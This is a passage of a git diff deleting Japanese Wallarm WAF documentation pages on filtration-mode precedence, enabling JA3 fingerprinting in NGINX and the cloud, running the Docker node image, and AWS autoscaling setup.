APIを直接呼び出す](../api/request-examples.md#create-the-rule-setting-filtration-mode-to-monitoring-for-the-specific-application)ことでも作成できます。 - -### 方法の優先順位 {#prioritization-of-methods} - -!!! warning "`wallarm_mode_allow_override`ディレクティブのEdgeノードでのサポート" - `wallarm_mode_allow_override`ディレクティブは、Wallarm Edgeの[inline](../installation/security-edge/inline/deployment.md)および[connector](../installation/security-edge/se-connector.md)ノードではカスタマイズできません。 - -`wallarm_mode_allow_override`ディレクティブは、フィルタリングノードの設定ファイルにある`wallarm_mode`ディレクティブの値ではなく、Wallarm Consoleで定義したモードのルール/mitigation controlsを適用できるかどうかを管理します。 - -`wallarm_mode_allow_override`ディレクティブには次の値を設定できます: - -* `off`: Wallarm Consoleで指定したモードのルール/mitigation controlsは無視されます。設定ファイル内の`wallarm_mode`ディレクティブで指定したルールが適用されます。 -* `strict`: 設定ファイル内の`wallarm_mode`ディレクティブで定義したモードよりも厳しいフィルタリングモードを定義する、Wallarm Cloudで指定したモードのルール/mitigation controlsのみが適用されます。 - - 利用可能なフィルタリングモードの弱い→強いの順序は[上記](#available-filtration-modes)に示しています。 - -* `on`（デフォルト）: Wallarm Consoleで指定したモードのルール/mitigation controlsが適用されます。設定ファイル内の`wallarm_mode`ディレクティブで指定したルールは無視されます。 - -`wallarm_mode_allow_override`ディレクティブの値を定義できるコンテキストは、よりグローバルなものからローカルなものへ次の順序です: - -* `http`: `http`ブロック内のディレクティブはHTTPサーバーに送信されるリクエストに適用されます。 -* `server`: `server`ブロック内のディレクティブは仮想サーバーに送信されるリクエストに適用されます。 -* `location`: `location`ブロック内のディレクティブはその特定のパスを含むリクエストにのみ適用されます。 - -`http`、`server`、`location`ブロックで異なる`wallarm_mode_allow_override`値を定義した場合は、最もローカルな設定が最優先されます。 - -**`wallarm_mode_allow_override`ディレクティブの使用例:** - -```bash -http { - - wallarm_mode monitoring; - - server { - server_name SERVER_A; - wallarm_mode_allow_override off; - } - - server { - server_name SERVER_B; - wallarm_mode_allow_override on; - - location /main/login { - wallarm_mode_allow_override strict; - } - } -} -``` - -この設定例では、Wallarm Consoleのフィルタリングモードのルールは次のように適用されます: - -1. 仮想サーバー`SERVER_A`に送信されるリクエストには、Wallarm Consoleで定義したフィルタリングモードのルール/mitigation controlsは無視されます。`SERVER_A`に対応する`server`ブロックに`wallarm_mode`ディレクティブが指定されていないため、`http`ブロックで指定された`monitoring`フィルタリングモードが適用されます。 -2. 仮想サーバー`SERVER_B`に送信されるリクエストには、パスに`/main/login`を含むリクエストを除き、Wallarm Consoleで定義したフィルタリングモードのルール/mitigation controlsが適用されます。 -3. 仮想サーバー`SERVER_B`に送信され、かつパスに`/main/login`を含むリクエストに対しては、`monitoring`よりも厳しいフィルタリングモードを定義する場合に限り、Wallarm Consoleで定義したフィルタリングモードのルールが適用されます。 - -## 設定例 {#configuration-example} - -ここでは、上記のすべての方法を使用したフィルタリングモード設定の例を示します。 - -### ノードの設定ファイル - -```bash -http { - - wallarm_mode block; - - server { - server_name SERVER_A; - wallarm_mode monitoring; - wallarm_mode_allow_override off; - - location /main/login { - wallarm_mode block; - wallarm_mode_allow_override strict; - } - - location /main/signup { - wallarm_mode_allow_override strict; - } - - location /main/apply { - wallarm_mode block; - wallarm_mode_allow_override on; - } - - location /main/feedback { - wallarm_mode safe_blocking; - wallarm_mode_allow_override off; - } - } -} -``` - -### Wallarm Consoleでの設定 - -* [全体のフィルタリングモード](#general-filtration-mode): **Monitoring**。 -* [条件付きフィルタリングモードの設定](#conditioned-filtration-mode): - * 次の条件に一致する場合: - * Method: `POST` - * First part of the path: `main` - * Second part of the path: `apply`, - - **Default**フィルタリングモードを適用します。 - - * 次の条件に一致する場合: - * First part of the path: `main`, - - **Blocking**フィルタリングモードを適用します。 - - * 次の条件に一致する場合: - * First part of the path: `main` - * Second part of the path: `login`, - - **Monitoring**フィルタリングモードを適用します。 - -### リクエスト例 - -設定済みサーバー`SERVER_A`に送信されるリクエスト例と、それに対してWallarmフィルタリングノードが適用するアクションは次のとおりです: - -* `/news`パスを持つ悪意のあるリクエストは、サーバー`SERVER_A`に対する`wallarm_mode monitoring;`設定により処理されますが、ブロックはされません。 - -* `/main`パスを持つ悪意のあるリクエストは、サーバー`SERVER_A`に対する`wallarm_mode monitoring;`設定により処理されますが、ブロックはされません。 - - Wallarm Consoleで定義された**Blocking**ルールは、サーバー`SERVER_A`の`wallarm_mode_allow_override off;`設定により適用されません。 - -* `/main/login`パスを持つ悪意のあるリクエストは、`/main/login`パスに対する`wallarm_mode block;`設定によりブロックされます。 - - Wallarm Consoleで定義された**Monitoring**ルールは、フィルタリングノード設定ファイルの`wallarm_mode_allow_override strict;`設定により適用されません。 - -* `/main/signup`パスを持つ悪意のあるリクエストは、`/main/signup`パスに対する`wallarm_mode_allow_override strict;`設定と、`/main`パスに対してWallarm Consoleで定義された**Blocking**ルールによりブロックされます。 -* `/main/apply`パスかつ`GET`メソッドの悪意のあるリクエストは、`/main/apply`パスに対する`wallarm_mode_allow_override on;`設定と、`/main`パスに対してWallarm Consoleで定義された**Blocking**ルールによりブロックされます。 -* `/main/apply`パスかつ`POST`メソッドの悪意のあるリクエストは、`/main/apply`パスに対する`wallarm_mode_allow_override on;`設定、Wallarm Consoleで定義された**Default**ルール、さらにフィルタリングノード設定ファイルの`/main/apply`パスに対する`wallarm_mode block;`設定によりブロックされます。 -* `/main/feedback`パスを持つ悪意のあるリクエストは、フィルタリングノード設定ファイルで`/main/feedback`パスに対して`wallarm_mode safe_blocking;`が設定されているため、[graylisted IP](../user-guides/ip-lists/overview.md)からのリクエストの場合にのみブロックされます。 - - フィルタリングノード設定ファイルの`wallarm_mode_allow_override off;`設定により、Wallarm Consoleで定義された**Monitoring**ルールは適用されません。 - -## フィルタリングモードを段階的に適用するベストプラクティス - -新しいWallarmノードをスムーズに導入するため、次のステップに従ってフィルタリングモードを切り替えることをおすすめします: - -1. 本番以外の環境に、動作モードを`monitoring`に設定したWallarmフィルタリングノードをデプロイします。 -1. 本番環境に、動作モードを`monitoring`に設定したWallarmフィルタリングノードをデプロイします。 -1. 全ての環境（テストと本番を含む）で7‑14日間、フィルタリングノード経由でトラフィックを流し、Wallarmのクラウドベースバックエンドがアプリケーションを学習する時間を確保します。 -1. すべての本番以外の環境でWallarmの`block`モードを有効化し、自動テストまたは手動テストで保護対象アプリケーションが期待どおり動作することを確認します。 -1. 本番環境でWallarmの`block`モードを有効化し、利用可能な手段でアプリケーションが期待どおり動作することを確認します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/enabling-ja3.md b/docs/latest-ja/admin-en/enabling-ja3.md deleted file mode 100644 index 150196ff2a..0000000000 --- a/docs/latest-ja/admin-en/enabling-ja3.md +++ /dev/null @@ -1,113 +0,0 @@ -# JA3フィンガープリンティングの有効化 - -本記事では、NGINXなどの主要なソフトウェアやAWS、Google Cloud、AzureなどのインフラでJA3フィンガープリンティングを有効化する方法を説明します。 - -## 概要 - -攻撃者は、ユーザーエージェント（UA）偽装やIPローテーションなど、セキュリティ対策を回避するさまざまな手法を頻繁に用います。これらの手法により、未認証トラフィックにおける振る舞いベースの攻撃の検知が難しくなります。[JA3フィンガープリンティング](https://www.peakhour.io/learning/fingerprinting/what-is-ja3-fingerprinting/)は、クライアントとサーバー間のTLSネゴシエーション中に定義される特定のパラメータからMD5ハッシュを生成します。このフィンガープリンティング手法は、[APIセッション](../api-sessions/overview.md)処理の一環として脅威アクターの識別を強化し、[API不正利用対策](../api-abuse-prevention/overview.md)における行動プロファイルの構築にも寄与します。 - -## NGINX - -NGINXからJA3フィンガープリントを取得できると、NGINXベースのWallarmのすべての[デプロイオプション](..//installation/nginx-native-node-internals.md#nginx-node)でこの識別手法を利用できます。JA3用のNGINXモジュールは2つあります。 - -| モジュール | 説明 | インストール | -| - | - | - | -| [nginx-ssl-ja3](https://github.com/fooinha/nginx-ssl-ja3) | JA3向けの主要なnginxモジュールです。`THIS IS NOT PRODUCTION`の表示があるため、動作の保証はありません。 | [手順](https://github.com/fooinha/nginx-ssl-ja3#compilation-and-installation) | -| [nginx-ssl-fingerprint](https://github.com/phuslu/nginx-ssl-fingerprint) | JA3向けの2つ目のnginxモジュールです。`high performance`のラベルがあり、スターやフォークもあります。 | [手順](https://github.com/phuslu/nginx-ssl-fingerprint#quick-start) | - -どちらのモジュールでも、OpenSSLとNGINXにパッチを適用する必要があります。 - -モジュールのインストール例（`nginx-ssl-fingerprint`モジュールからの例）: - -``` -# クローン - -$ git clone -b OpenSSL_1_1_1-stable --depth=1 https://github.com/openssl/openssl -$ git clone -b release-1.23.1 --depth=1 https://github.com/nginx/nginx -$ git clone https://github.com/phuslu/nginx-ssl-fingerprint - -# パッチ適用 - -$ patch -p1 -d openssl < nginx-ssl-fingerprint/patches/openssl.1_1_1.patch -$ patch -p1 -d nginx < nginx-ssl-fingerprint/patches/nginx.patch - -# 設定とビルド - -$ cd nginx -$ ASAN_OPTIONS=symbolize=1 ./auto/configure --with-openssl=$(pwd)/../openssl --add-module=$(pwd)/../nginx-ssl-fingerprint --with-http_ssl_module --with-stream_ssl_module --with-debug --with-stream --with-cc-opt="-fsanitize=address -O -fno-omit-frame-pointer" --with-ld-opt="-L/usr/local/lib -Wl,-E -lasan" -$ make - -# テスト - -$ objs/nginx -p . -c $(pwd)/../nginx-ssl-fingerprint/nginx.conf -$ curl -k https://127.0.0.1:8444 -``` - -NGINX設定の例: - -``` -server { - listen 80; - server_name example.com; - … - # JA3フィンガープリントのヘッダーを別のアプリにプロキシ転送します。 - proxy_set_header X-Client-TLS-FP-Value $http_ssl_ja3_hash; - proxy_set_header X-Client-TLS-FP–Raw-Value $http_ssl_ja3; - - # リクエストをプロキシ先のアプリに転送します。 - proxy_pass http://app:8080; -} -``` - -## AWS - -[AWS CloudFrontからJA3フィンガープリントを取得するように設定](https://aws.amazon.com/about-aws/whats-new/2022/11/amazon-cloudfront-supports-ja3-fingerprint-headers/)できます。 - -WallarmはCloudFrontと連携して、`CloudFront-Viewer-JA3-Fingerprint`および`CloudFront-Viewer-TLS`のJA3ヘッダーを取得できます。 - -1. CloudFrontコンソールに移動し、**Origin Request Policies**タブを選択します。 -1. **Create Origin Request Policy**をクリックし、ポリシーの詳細を設定します。 - - ![CloudFront - オリジンリクエストポリシーの作成](../images/configuration-guides/ja3/aws-cloudfront-create-origin-request-policy.png) - -1. **Actions**セクションで、**Add Header**を選択します。 -1. **Header Name**フィールドに`CloudFront-Viewer-JA3-Fingerprint`と入力します。 - - ![CloudFront - オリジンリクエストポリシーへのヘッダー追加](../images/configuration-guides/ja3/aws-cloudfront-origin-request-policy-add-header.png) - -1. **Create**をクリックします。これでオリジンリクエストポリシーが作成されます。 -1. 作成したリクエストポリシーをCloudFrontディストリビューションにアタッチするには、以下の手順に従います。 -1. CloudFrontコンソールで、ポリシーをアタッチするディストリビューションを選択します。 -1. **Origin Request Policies**の横にある**Edit**ボタンをクリックします。 -1. 作成したポリシーのチェックボックスを選択して、変更を保存します。 - - ![CloudFront - ディストリビューションへのポリシーのアタッチ](../images/configuration-guides/ja3/aws-cloudfront-attach-policy-to-distribution.png) - - これでオリジンリクエストポリシーがCloudFrontディストリビューションにアタッチされました。ディストリビューションにリクエストを送信するクライアントのリクエストには、`CloudFront-Viewer-JA3-Fingerprint`ヘッダーが追加されます。 - -## Google Cloud - -従来のGoogle Cloud Application Load Balancerでカスタムヘッダーを設定し、`tls_ja3_fingerprint`変数経由でその値を取得することで、JA3フィンガープリントを取得するように設定できます。 - -1. Google Cloudコンソールに移動し、**Load balancing**を開きます。 -1. **Backends**をクリックします。 -1. バックエンドサービス名をクリックし、**Edit**をクリックします。 -1. **Advanced configurations**をクリックします。 -1. **Custom request headers**の下で**Add header**をクリックします。 -1. **Header name**を入力し、**Header value**に`tls_ja3_fingerprint`を設定します。 -1. 変更を保存します。 - -詳細な手順は[こちら](https://cloud.google.com/load-balancing/docs/https/custom-headers)をご覧ください。 - -設定リクエストの例: - -``` -PATCH https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/global/backendServices/BACKEND_SERVICE_NAME -"customRequestHeaders": [ - "X-Client-TLS-FP-Value: {tls_ja3_fingerprint}" -] -``` - -## Azure - -[AzureでのWallarmデプロイ](../installation/cloud-platforms/azure/docker-container.md)では、[上記](#nginx)で説明したNGINXからJA3フィンガープリントを取得する方法を使用します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-docker-en.md b/docs/latest-ja/admin-en/installation-docker-en.md deleted file mode 100644 index cdf721f253..0000000000 --- a/docs/latest-ja/admin-en/installation-docker-en.md +++ /dev/null @@ -1,192 +0,0 @@ -# DockerのNGINXベースイメージの実行 - -WallarmのNGINXベースのフィルタリングノードは、[Dockerイメージ](https://hub.docker.com/r/wallarm/node)を使用してデプロイできます。このノードはx86_64およびARM64アーキテクチャの両方をサポートしており、インストール時に自動的に判別されます。この記事では、[インライントラフィックフィルタリング][inline-docs]のためにDockerイメージからノードを実行する方法を説明します。 - -このDockerイメージはAlpine LinuxおよびAlpineが提供するNGINXのバージョンに基づいています。現在、最新のイメージはAlpine Linux 3.22を使用しており、NGINX stable 1.28.0が含まれています。 - -## ユースケース - ---8<-- "../include/waf/installation/docker-images/nginx-based-use-cases.md" - -## 要件 - ---8<-- "../include/waf/installation/requirements-docker-nginx-latest.md" - -## コンテナの実行オプション - ---8<-- "../include/waf/installation/docker-running-options.md" - -## 環境変数を渡してコンテナを実行する - -コンテナを実行するには: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. ノードを含むコンテナを実行します: - - === "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:6.4.1 - ``` - === "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -p 80:80 wallarm/node:6.4.1 - ``` - -オプション`-e`で、次の基本的なフィルタリングノード設定をコンテナに渡せます: - ---8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - -このコマンドは次の処理を行います: - -* 最小限のNGINX構成を含む`default.conf`を作成し、フィルタリングノードの設定をコンテナの`/etc/nginx/http.d`ディレクトリに配置します。 -* Wallarm Cloudへのアクセスに必要なフィルタリングノードの認証情報ファイルをコンテナの`/opt/wallarm/etc/wallarm`ディレクトリに作成します: - * フィルタリングノードのUUIDとシークレットキーを含む`node.yaml` - * Wallarmの秘密鍵を含む`private.key` -* リソース`http://NGINX_BACKEND:80`を保護します。 - -## 設定ファイルをマウントしてコンテナを実行する - -準備済みの設定ファイルは、`-v`オプションでDockerコンテナにマウントできます。ファイルには次の設定が含まれている必要があります: - -* [フィルタリングノードのディレクティブ][nginx-directives-docs] -* [NGINX設定](https://nginx.org/en/docs/beginners_guide.html) - -コンテナを実行するには: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. ノードを含むコンテナを実行します: - - === "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/default:/etc/nginx/http.d/default.conf -p 80:80 wallarm/node:6.4.1 - ``` - === "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -v /configs/default:/etc/nginx/http.d/default.conf -p 80:80 wallarm/node:6.4.1 - ``` - - * オプション`-e`は、次の必須環境変数をコンテナに渡します: - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * オプション`-v`は、設定ファイル`default.conf`を含むディレクトリをコンテナの`/etc/nginx/http.d`ディレクトリにマウントします。 - - ??? info "例: `/etc/nginx/http.d/default.conf`の最小構成" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - - location / { - - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - ??? info "その他の設定ファイルをマウントする" - NGINXが使用するコンテナ内のディレクトリ: - - * `/etc/nginx/nginx.conf` - これはNGINXのメイン設定ファイルです。このファイルをマウントする場合は、Wallarmを正しく動作させるために追加の手順が必要です: - - 1. `nginx.conf`のトップレベルに次の設定を追加します: - - ``` - include /etc/nginx/modules/*.conf; - ``` - 1. `nginx.conf`の`http`ブロックに`wallarm_srv_include /etc/nginx/wallarm-apifw-loc.conf;`ディレクティブを追加します。これは[API仕様の適用][api-policy-enf-docs]用の設定ファイルへのパスを指定します。 - 1. 指定のパスに`wallarm-apifw-loc.conf`ファイルをマウントします。内容は次のとおりです: - - ``` - location ~ ^/wallarm-apifw(.*)$ { - wallarm_mode off; - proxy_pass http://127.0.0.1:8088$1; - error_page 404 431 = @wallarm-apifw-fallback; - error_page 500 502 503 504 = @wallarm-apifw-fallback; - allow 127.0.0.8/8; - deny all; - } - - location @wallarm-apifw-fallback { - wallarm_mode off; - return 500 "API FW fallback"; - } - ``` - 1. 下記の内容で`/etc/nginx/conf.d/wallarm-status.conf`ファイルをマウントします。提供された設定の行は変更しないことが重要です。変更すると、ノードメトリクスのWallarm Cloudへの正常なアップロードに支障をきたす可能性があります。 - - ``` - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - 1. NGINXの設定ファイル内で、`/wallarm-status`エンドポイントに対して次の設定を行います: - - ``` - location /wallarm-status { - # 許可するアドレスはWALLARM_STATUS_ALLOW変数の値と一致させてください - allow xxx.xxx.x.xxx; - allow yyy.yyy.y.yyy; - deny all; - wallarm_status on format=prometheus; - wallarm_mode off; - } - ``` - * `/etc/nginx/conf.d` — 共通設定 - * `/etc/nginx/http.d` — 仮想ホストの設定 - * `/opt/wallarm/usr/share/nginx/html` — 静的ファイル - - 必要に応じて、上記のコンテナディレクトリへ任意のファイルをマウントできます。フィルタリングノードのディレクティブは`/etc/nginx/http.d/default.conf`ファイルに記述してください。 - -このコマンドは次の処理を行います: - -* `default.conf`ファイルを`/etc/nginx/http.d`コンテナディレクトリにマウントします。 -* Wallarm Cloudへのアクセスに必要なフィルタリングノードの認証情報ファイルをコンテナの`/opt/wallarm/etc/wallarm`ディレクトリに作成します: - * フィルタリングノードのUUIDとシークレットキーを含む`node.yaml` - * Wallarmの秘密鍵を含む`private.key` -* リソース`http://example.com`を保護します。 - -## ログ設定 - -ログはデフォルトで有効です。ログディレクトリは次のとおりです: - -* `/var/log/nginx` — NGINXのログ -* `/opt/wallarm/var/log/wallarm` — [Wallarmノードのログ][logging-instr] - -## Wallarmノードの動作テスト - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## ユースケースの設定 - -Dockerコンテナにマウントする設定ファイルには、[利用可能なディレクティブ][nginx-directives-docs]でフィルタリングノードの設定を記述する必要があります。以下は、よく使用されるフィルタリングノードの設定オプションです: - ---8<-- "../include/waf/installation/common-customization-options-docker-4.4.md" \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index fccb4cf68c..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1,173 +0,0 @@ -[link-doc-ami-creation]: create-image.md -[link-doc-lb-guide]: load-balancing-guide.md - -[link-ssh-keys-guide]: ../../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys-in-aws -[link-security-group-guide]: ../../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group - -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ - -[img-create-lt-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-launch-template.png -[img-create-asg-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-asg-with-template.png -[img-asg-wizard-1]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/asg-wizard-1.png -[img-asg-increase-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-increase.png -[img-asg-decrease-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-decrease.png -[img-alarm-example]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/alarm-example.png -[img-check-asg-in-cloud]: ../../../images/cloud-node-status.png - -[anchor-lt]: #1-creating-a-launch-template -[anchor-asg]: #2-creating-an-auto-scaling-group - -# フィルタリングノードの自動スケーリングの設定 - -!!! info "必要な権限" - 自動スケーリングを設定する前に、Amazon AWSアカウントに次のいずれかの権限が付与されていることを確認します。 - - * `AutoScalingFullAccess` - * `AutoScalingConsoleFullAccess` - -フィルタリングノードの自動スケーリングを設定するには、以下の手順を実行します。 -1. [Launch Templateの作成][anchor-lt] -2. [Auto Scaling Groupの作成][anchor-asg] - - -## 1. Launch Templateの作成 - -Launch Templateは、Amazon Machine Image（AMI）のデプロイ時に使用するインスタンスタイプを定義し、仮想マシンの一般的なパラメーターをいくつか設定します。 - -次の手順でLaunch Templateを作成します。 - -1. Amazon EC2ダッシュボードの**Launch Templates**タブに移動し、**Create launch template**ボタンをクリックします。 - -2. **Launch template name**フィールドにテンプレート名を入力します。 - -3. [事前に作成した][link-doc-ami-creation]Amazon Machine Imageを選択します。これを行うには、リンク**Search for AMI**をクリックし、**My AMIs**カタログから必要なイメージを選択します。 - -4. **Instance type**リストから、フィルタリングノードの仮想マシンを起動するためのインスタンスタイプを選択します。 - - !!! warning "適切なインスタンスタイプを選択してください" - フィルタリングノードの初期設定時に使用したものと同じ、またはそれより高性能なインスタンスタイプを選択します。 - - 低性能なインスタンスタイプを使用すると、フィルタリングノードの動作に問題が生じる可能性があります。 - -5. フィルタリングノードへアクセスするための[事前に作成した][link-ssh-keys-guide]SSH鍵ペアの名前を**Key pair name**リストから選択します。 - -6. [事前に作成した][link-security-group-guide]Security Groupを**Security Groups**リストから選択します。 - -7. **Create launch template**ボタンをクリックします。 - - ![Launch Templateの作成][img-create-lt-wizard] - -テンプレートの作成処理が完了するまで待ちます。 - -Launch Templateの作成後、Auto Scaling Groupの作成に進むことができます。 - - -## 2. Auto Scaling Groupの作成 - -!!! info "自動スケーリング方式の選択" - このセクションでは、EC2 Auto Scaling方式を使用してAuto Scaling Groupを作成する手順を説明します。 - - AWS Auto Scaling方式を使用することもできます。 - - Amazonの自動スケーリング方式に関する詳細なFAQは[こちらのリンク][link-doc-as-faq]をご覧ください。 - -Auto Scaling Groupを作成するには、次の手順を実行します。 - -1. Amazon EC2ダッシュボードの**Auto Scaling Groups**タブに移動し、**Create Auto Scaling Group**ボタンをクリックします。 - -2. **Launch Template**オプションを選択し、リストから[事前に作成した][anchor-lt]Launch Templateを選択して、**Next Step**ボタンをクリックします。 - - ![Auto Scaling Groupの作成][img-create-asg-wizard] - -3. **Group name**フィールドに目的のAuto Scaling Group名を入力します。 - -4. **Launch Template Version**リストでLaunch Templateの**Latest**バージョンを選択します。 - -5. **Fleet Composition**のいずれかのオプションを選択して、Auto Scaling Groupに必要なインスタンスタイプを指定します。 - - 本ガイドに従ってLaunch Templateを作成し、仮想マシンを起動するためのインスタンスタイプを指定している場合は、**Adhere to the launch template**オプションを使用できます。 - - !!! info "適切なインスタンスタイプを選択してください" - Launch Templateにインスタンスタイプが指定されていない場合、または自動スケーリングで複数の異なるインスタンスタイプを選択したい場合は、**Combine purchase options and instances**オプションを選択することもできます。 - - フィルタリングノードの初期設定時に使用したものと同じ、またはそれより高性能なインスタンスタイプを選択します。低性能なインスタンスタイプを使用すると、フィルタリングノードの動作に問題が生じる可能性があります。 - -6. **Group size**フィールドに初期のAuto Scaling Groupサイズを入力します（例: 2インスタンス）。 - -7. ドロップダウンリスト**Network**から正しいVPCを選択します。 - -8. ドロップダウンリスト**Subnets**から正しいサブネットを選択します。 - - !!! warning "フィルタリングノードにインターネット接続を提供してください" - フィルタリングノードが適切に動作するためにはWallarm APIサーバーへのアクセスが必要です。対象のWallarm APIサーバーは、使用しているWallarm Cloudによって異なります。 - - * US Cloudを使用している場合、ノードには`https://us1.api.wallarm.com`へのアクセスを許可する必要があります。 - * EU Cloudを使用している場合、ノードには`https://api.wallarm.com`へのアクセスを許可する必要があります。 - - フィルタリングノードがWallarm APIサーバーにアクセスできなくならないよう、正しいVPCとサブネットを選択し、[Security Groupを構成][link-security-group-guide]してください。 - - ![Auto Scaling Groupの一般設定][img-asg-wizard-1] - -9. **Next: Configure scaling policies**ボタンをクリックして、**Configure scaling policies**ページに移動します。 - -10. 自動スケーリングを有効にするため、**Use scaling policies to adjust the capacity of this group**オプションを選択します。 - -11. Auto Scaling Groupの最小値と最大値を入力します。 - - !!! info "Auto Scaling Groupのサイズ" - 6番目の手順で指定した初期グループサイズよりも最小グループサイズを小さく設定することができます。 - -12. **Scale the Auto Scaling group using step or simple scaling policies**オプションを選択して、段階的なポリシー設定モードを有効にします。 - -13. パラメーターグループ**Increase Group Size**を使用して、グループサイズの拡張ポリシーを構成します。 - - ![Auto Scaling Groupの拡張ポリシー][img-asg-increase-policy] - - 1. 必要に応じて、**Name**パラメーターで拡張ポリシーの名前を指定します。 - - 2. **Execute policy when**からイベントを選択して、グループサイズ拡張のトリガーとなるイベントを指定します。イベントをまだ作成していない場合は、**Add Alarm**ボタンをクリックしてイベントを作成します。 - - 3. イベント名、監視するメトリクス、イベント発生の通知を設定できます。 - - !!! info "通知設定に必要なロール" - 通知を設定するには、Amazon AWSアカウントに**AutoScalingNotificationAccessRole**が必要です。 - - !!! info "例" - 5分間の平均プロセッサ負荷が60%に達したときに、**High CPU utilization**という名前のイベントがトリガーされるように設定できます。 - - ![アラームの例][img-alarm-example] - - - - !!! info "Amazonクラウドの標準メトリクス" - * CPU Utilization（パーセンテージ） - * Disk Reads（バイト） - * Disk Writes（バイト） - * Disk Read Operations count（回数） - * Disk Write Operations count（回数） - * Network In（バイト） - * Network Out（バイト） - - 4. **Create Alarm**ボタンをクリックしてイベントを作成します。 - - 5. **High CPU Utilization**イベントがトリガーされた場合に実行するアクションを選択します。例えば、イベント発生時にインスタンスを1台追加するよう、**Add**アクションを用いた自動スケーリングポリシーを構成できます。 - - 6. 新しいインスタンスを追加した直後にリソース消費が急増すると、イベントが早期にトリガーされる場合があります。これを避けるため、**Instances need `X` seconds to warm up**パラメーターでウォームアップ時間（秒）を設定できます。この期間中はイベントはトリガーされません。 - -14. 同様に、パラメーターグループ**Decrease Group Size**を使用して、グループサイズの縮小ポリシーを構成します。 - - ![縮小ポリシー][img-asg-decrease-policy] - -15. 必要に応じて、Auto Scaling Groupの通知とタグを構成するか、**Review**ボタンをクリックして変更内容の確認に進みます。 - -16. すべてのパラメーターが正しく指定されていることを確認し、**Create Auto Scaling group**ボタンをクリックしてAuto Scaling Groupの作成処理を開始します。 - -指定した数のインスタンスは、Auto Scaling Groupの作成が成功すると自動的に起動します。 - -グループ内で起動されたインスタンス数を確認し、この数値をWallarm Cloudに接続されたフィルタリングノードの数と照合することで、Auto Scaling Groupが正しく作成されたことを確認できます。 - -これはWallarm Consoleを使用して実施できます。例えば、フィルタリングノードを搭載したインスタンスが2台同時に稼働している場合、Wallarm Consoleは対応するWallarmノードの**Nodes**セクションにこの数を表示します。 - -![Auto Scaling Groupのステータスの確認][img-check-asg-in-cloud] - -[ロードバランサーの作成と構成][link-doc-lb-guide]に進むことができます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index 75cde01e4b..0000000000 --- a/docs/latest-ja/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1,50 +0,0 @@ -[link-doc-aws-as]: https://docs.aws.amazon.com/autoscaling/plans/userguide/what-is-aws-auto-scaling.html -[link-doc-ec2-as]: https://docs.aws.amazon.com/autoscaling/ec2/userguide/GettingStartedTutorial.html -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ - -[link-doc-ami-creation]: create-image.md -[link-doc-asg-guide]: autoscaling-group-guide.md -[link-doc-lb-guide]: load-balancing-guide.md -[link-doc-create-template]: autoscaling-group-guide.md#1-creating-a-launch-template -[link-doc-create-asg]: autoscaling-group-guide.md#2-creating-an-auto-scaling-group -[link-doc-create-lb]: load-balancing-guide.md#1-creating-a-load-balancer -[link-doc-set-up-asg]: load-balancing-guide.md#2-setting-up-an-auto-scaling-group-for-using-the-created-balancer - - -# AWSにおけるフィルタリングノードのオートスケーリング設定の概要 - -Wallarmフィルタリングノードのオートスケーリングを設定すると、トラフィックの変動がある場合でもフィルタリングノードが対応できるようにできます。オートスケーリングを有効にすると、トラフィックが大幅に急増しても、フィルタリングノードでアプリケーションへの受信リクエストを処理できます。 - -Amazonクラウドは次のオートスケーリング方式をサポートします: -* AWS Autoscaling: - AWSが収集するメトリクスに基づく新しいオートスケーリング技術です。 - - AWS Auto Scalingの詳細情報はこの[リンク][link-doc-aws-as]をご覧ください。 - -* EC2 Autoscaling: - スケーリングルールを定義するためのカスタム変数を作成できるレガシーなオートスケーリング技術です。 - - EC2 Auto Scalingの詳細情報はこの[リンク][link-doc-ec2-as]をご覧ください。 - -!!! info "オートスケーリング方式に関する情報" - 